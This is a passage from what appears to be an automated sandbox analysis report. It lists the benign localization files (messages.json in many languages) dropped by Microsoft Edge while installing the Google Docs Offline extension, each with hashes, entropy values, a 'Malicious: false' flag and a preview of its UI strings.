SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
